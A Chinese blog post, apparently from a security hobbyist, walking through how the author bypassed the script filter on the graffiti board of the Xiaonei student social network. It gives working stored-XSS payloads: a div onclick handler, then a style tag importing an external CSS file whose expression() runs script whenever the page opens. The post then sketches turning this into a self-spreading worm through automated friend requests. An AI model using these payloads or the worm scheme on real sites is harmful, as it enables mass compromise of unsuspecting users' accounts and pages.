校内网(http://xiaonei.com)是一个面向全国高校学生的网站,几乎全国每一个大学都有学生在上面注册,在高校中也是有些地位的。我第一次看到是在上个学期,当时看到有个同学在用HTML编辑他的涂鸦板,当时就想这个东西可能会有跨站脚本漏洞,只可惜当时没有去测试,直到昨天才想起去研究一下。发现今年二月份的时候已经有人在我之前成功把它拿下了,而且用了脚本蠕虫技术,使6万多用户受到感染,影响可谓深远。不过这之后校内网就加了脚本过滤机制,然而脚本过滤百密而一疏。
首先很高兴它没有过滤“<”和“>”有了这两个就有希望。没多想就输入“<img src="alert('test');" “可惜被过滤,它会检验SRC中是不是一个URL,所以这一招不管用,再看onload也被过滤。再来看一下<div>标记,这个东西往往被人遗忘,输入“<div onclick="alert('test')">测试</div>” 提交成功,当单击“测试”时弹出对话框。虽然能执行,但还是要单击一下才行,要是能一打开网页就能执行就好了,然而因为它过滤了onload,不能用一般的脚本,不过不能用脚本我们还可以用CSS跨站。输入
<style type="text/css">@import url(http://www.langouster.com/test/test.css);</style> <body class="showCSS">
其中http://www.langouster.com/test/test.css中的内容是
.showCSS{ event:expression( onload = function() { alert('onload'); } )
再次提交,成功,只要一打开一页面就弹出对话框,如图:
好了现在其它人只要一打开你的页面就会自动执行你的脚本了。你还可以使用更加复杂的功能,如在脚本中使用jQuery技术实现病毒的传播,由于在加其它人为好友时不要输认证码,所以你可以用jQuery技术不断的申请加其它人为好友,别人看到你想加他为好友总会看一下你的页面,这样他也就成了跨站的受害者。
在测试时发现提交涂鸦板的内容后要过一段时间“我的页面”的内容才能更新,大家在测试时注意一下,我在开始时因为这还郁闷了好一下。
·上一篇: XSS Phishing--新式跨站脚本攻击方式
·下一篇: 暂时空缺
|